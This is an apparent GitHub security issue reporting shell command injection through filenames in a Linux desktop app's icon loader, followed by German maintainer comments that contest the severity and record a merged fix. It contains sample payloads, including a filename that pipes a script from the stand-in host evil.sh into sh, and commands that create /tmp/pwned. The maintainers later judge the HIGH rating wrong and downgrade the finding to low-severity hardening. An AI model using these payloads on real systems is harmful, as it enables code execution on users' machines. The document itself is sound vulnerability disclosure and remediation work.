Repository navigation
[HIGH] Icon loader runs file paths through the shell inside hand-written quotes — search results execute on render #45
Description
Summary
IconLoader.getIconForAppOrFile() hands file paths to the icon helper Python script wrapped in hand-written single quotes and runs the call through the shell (the runInShell: true default of the command layer). Any path that contains a single quote — legal in filenames, and common output of archives/cloud-sync — closes the quoted region and everything after it becomes /bin/sh source code that is executed when the app merely renders the search-result card.
lib/services/icon_loader.dart:65-68— the injection sink:iconPath = await Linux.runCommandWithCustomArguments("/usr/bin/python3", [ "${Linux.pythonScriptsFolder}/get_icon_path_for_file.py", "--file='$filePath'", ]);
runCommandWithCustomArgumentsdefaults torunInShell: true(lib/services/linux.dart:101), so this becomessh -c "/usr/bin/python3 …/get_icon_path_for_file.py --file='<path>'".- Same pattern with a second attacker-influenced value at
lib/services/icon_loader.dart:57-61:--icon=$appCode(unquoted) —appCode/iconURIis theIcon=field of a.desktopfile (lib/services/linux.dart:1030-1033).
Where the path comes from (all third-party data, none of it typed by the user):
- Recent files —
get_recent_files.pyreads the GTK recent-files list, which every application writes →openfile:<path>entries (lib/services/linux.dart:1046-1060) - Favorite files —
get_favorite_files.py(lib/services/linux.dart:1715-1732) - Home-directory scan —
getAllFolderEntriesOfUser(lib/services/linux.dart:921) - GTK/KDE bookmarks (
lib/services/linux.dart:957, KDE.xbel)
Trigger requires no click: action_entry_card.dart:116 builds SystemIcon(iconString: <path>) for every rendered openfile: result; system_icon.dart:41 calls IconLoader.getIconForAppOrFile(iconString); the 200 ms render timer (action_entry_card.dart:83) fires while the user merely scrolls or types a matching search term.
Note this is the same quote-wrapping pattern the project already removed once: runPythonScript (lib/services/linux.dart:1464-1478) documents that a hand-shell-quoted keyword "unwound into command execution" and was fixed there — icon_loader.dart is the leftover instance of that pattern.
Impact
Second-order OS command injection: untrusted file names (not typed by the user) become shell source code. A file created by any download/zip-extract/sync with a name like x'; curl evil.sh | sh; #.txt, once it appears in the app's search/recent/favorite list, executes the attacker's commands with the desktop user's privileges when the entry is displayed — no click needed, only the card rendering for ~200 ms.
The privilege is the user's, but the app is trusted infrastructure for the user's admin work: injected code runs inside the process that builds the root command queue, so it can enqueue an arbitrary root LinuxCommand and let the user approve it as an ordinary "apply changes" dialog.
Even without an attacker, a benign apostrophe filename (don't.txt) corrupts the command and yields wrong/failed icon lookups.
Complexity
- Complexity: 2 (Easy)
Evidence
// lib/services/icon_loader.dart:64-68 (runInShell not passed → true)
} else if (filePath != "") {
iconPath = await Linux.runCommandWithCustomArguments("/usr/bin/python3", [
"${Linux.pythonScriptsFolder}/get_icon_path_for_file.py",
"--file='$filePath'",
]);
}Data flow:
get_recent_files.py/ folder scan / bookmarks →ActionEntry(action: "openfile:<path>")(lib/services/linux.dart:1050-1057)- Render →
SystemIcon(iconString: <path>)(lib/layouts/main_screen/action_entry_card.dart:112-117) IconLoader.getIconForAppOrFile(<path>)→filePath = <path>(lib/services/icon_loader.dart:37-38)runCommandWithCustomArguments(..., ["--file='<path>'"])with defaultrunInShell: true→sh -c(lib/services/linux.dart:101,lib/helpers/command_helper.dart:58-61)
The receiving script even strips the quotes it expects — get_icon_path_for_file.py does file_path.removeprefix("'").removesuffix("'") (additional/python/get_icon_path_for_file.py:8-10) — proving the quoting is a shell shim, not protocol.
Reproduce the shell break-out pattern standalone:
python3 -c "import os; p=\"x'; touch /tmp/pwned; echo '\"'; os.system('echo --file=' + chr(39) + p + chr(39))" && ls -la /tmp/pwnedRecommended Fix
In lib/services/icon_loader.dart:
- Drop the hand-written quotes and the shell: pass the values as data with
runInShell: false, mirroringLinux.runPythonScript(lib/services/linux.dart:1464-1478):iconPath = await Linux.runCommandWithCustomArguments("/usr/bin/python3", [ "${Linux.pythonScriptsFolder}/get_icon_path_for_file.py", "--file=$filePath", ], runInShell: false);
- Do the same for the
--icon=$appCodecall (icon_loader.dart:57-61) and the/tmp/probe (:50-53). get_icon_path_for_file.py:8-10can then drop theremoveprefix("'")/removesuffix("'")shim once no caller quotes anymore.- Regression test: an appCode containing
'; touch /tmp/pwned; ', a space and a'must yield a successfulGiolookup (or a clean "not found") and must not create/tmp/pwned.
Related: #42 (the layer-wide runInShell default this sink rides on).
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ("Shell Injection") — https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection — https://owasp.org/www-community/attacks/Command_Injection
- Dart
Process.runrunInShellsemantics (args joined with spaces, executed via/bin/sh -c) — https://api.dart.dev/stable/dart-io/Process/run.html
Validation
- attacker_source: file names read off the disk — GTK recent-files list (
.recently-used.xbel, written by any application), home-directory scan, GTK bookmarks, andIcon=fields of.desktopfiles, all reachingIconLoaderasopenfile:/openapp:search entries - missing_guard: the path is wrapped in hand-written single quotes and executed under
/bin/sh(runInShell: truedefault); no escaping/neutralization of',;,$, backticks, newlines is applied - sink_effect: arbitrary shell commands execute with the desktop user's privileges when a search-result card containing the file renders (icon load, 200 ms after display)
- preconditions: a file whose name contains shell metacharacters appears in an entry list whose icon is loaded (recent files, scanned folders, bookmarks, or a desktop-file
Icon=value); no click required - proof_anchors: lib/services/icon_loader.dart:65-68 (
"--file='$filePath'"); lib/services/icon_loader.dart:59 ("--icon=$appCode"); lib/services/linux.dart:101 (bool runInShell = true); lib/layouts/main_screen/action_entry_card.dart:116 (render-timeSystemIcon); additional/python/get_icon_path_for_file.py:8-10 (quote-stripping shim) - suggested_validation: create
~/x'; touch /tmp/pwned; #.txt, open the Linux-Assistant search, type a prefix matching the name, and checkls /tmp/pwnedafter the result card renders — or statically confirm the sink withgrep -n "file='" lib/services/icon_loader.dart
Activity
Toqsick commentedon Sep 15, 2026
Triage-Link 2026-09-15: Verdict „contested" — die Prämisse (argv space-joined unquoted) wurde empirisch widerlegt (Dart escapet argv per Single-Quote-Wrapping, POSIX; nachgetestet Dart 3.12.2). Severity ist damit Low pending RV-1 (#51): der Re-Verify über die gebaute App entscheidet final. Fix bleibt als Härtung in WP-B2 (#53) eingeplant.
Toqsick commentedon Oct 23, 2026
Fix umgesetzt — Merge von PR #155 steht noch aus
WP-B2 hat den Fix geliefert. Das Issue bleibt offen, bis PR #155 in
maingemerged ist —so bin ich bei den 12 Audit-Issues vorgegangen: geschlossen wird nur, was nachweislich in
mainist.Der Fix (PR #155, Branch
fix/45-icon-loader-argv):lib/services/icon_loader.dart--file='<pfad>'→--file=<pfad>;runInShell: falsean allen drei Aufrufstellenadditional/python/get_icon_path_for_file.pytest/icon_loader_test.dart(neu)additional/python/tests/test_icon_path_helper.py(neu)Warum beide Hälften zusammen mussten: der Helfer hat den Wert bisher umgeschrieben
(
removeprefix("'")/removesuffix("'")). Ein Aufrufer, der den nackten Pfad übergibt — so wieder Loader jetzt — hätte bei einem Pfad mit abschließendem Quote-Zeichen ein abgeschnittenes
Fragment bekommen. Das alte Paar war symmetrisch und lieferte für sich genommen das richtige
Ergebnis; der Bruch wäre erst entstanden, wenn nur eine Seite geändert worden wäre.
Zur Prämisse: die Shell war nie ein Split-Risiko. Dart quotet jedes argv-Element, ein Pfad
mit Leerzeichen bleibt ein Argument. Gemessen mit einer Sonde, die die Argumentanzahl zählt
(nicht nur die Ausgabe vergleicht — das kann ein Argument mit Leerzeichen nicht von zwei
Argumenten unterscheiden): jedes Payload kommt als genau ein argv-Element an,
;,$(…),Backticks,
*,|bleiben inert, kein Artefakt erzeugt. Die Shell war also ein unnötigerZwischenschritt;
runInShell: falseist das Muster der übrigen sechs Aufrufstellen inlib/services/linux.dart.TDD: RED 6 Failures (Dart) und 2 Failures (Python) → GREEN 7/7 und 4/4.
Gates:
flutter analyze0 Findings ·flutter test230 Tests · Python 62 Tests ·Format-Gate 124 Dateien 0 geändert · la_core 0 Findings / 25 Dateien / 68 Tests.
E2E mit echtem GI-Stack: der reale Helper lief mit einem Pfad mit Leerzeichen und einem mit
abschließendem Quote; beide scheitern erst im Gtk-Teil (
IconTheme.get_default()liefert ohneDisplay
null) — der Gio-Teil lief also mit dem richtigen Pfad durch.RV-1: Probe 3 (die #42-Kontrolle) ist am 2026-10-23 empirisch erledigt. Die GUI-Proben 1
und 2 bleiben offen unter #51.
Toqsick commentedon Oct 23, 2026
Abnahme — erledigt
PR #155 ist gemerged (
abf3465, 2026-10-23 21:04 UTC). Der Fix ist damit inmain— das Issuekann geschlossen werden.
Fix:
lib/services/icon_loader.dart—--file='<pfad>'→--file=<pfad>,runInShell: falsean allendrei Aufrufstellen (Ordner, App, Datei)
additional/python/get_icon_path_for_file.py— der Quote-Strip-Shim ist entfernt, der Wert wirdunverändert durchgereicht
test/icon_loader_test.dart(neu, 7 Tests),additional/python/tests/test_icon_path_helper.py(neu, 4 Tests)
Gates:
flutter analyzeNo issues found! ·flutter test230 Tests · Python 62 Tests ·Format-Gate 124 Dateien 0 geändert · la_core 0 Findings / 25 Dateien / 68 Tests.
RV-1: Probe 3 (die #42-Kontrolle) ist empirisch erledigt —
runInShell: trueist keinInjection-Vektor, Dart quotet jedes argv-Element einzeln. Die GUI-Proben 1 und 2 bleiben unter #51.
Verdict laut
security-fixplan-42-50.md: Low (Härtung), kein Security-Bug. Der Kommentarlib/services/linux.dart:1496-1501(„argv is space-joined unquoted") ist sachlich falsch und wirdmit WP-S3 / #56 korrigiert.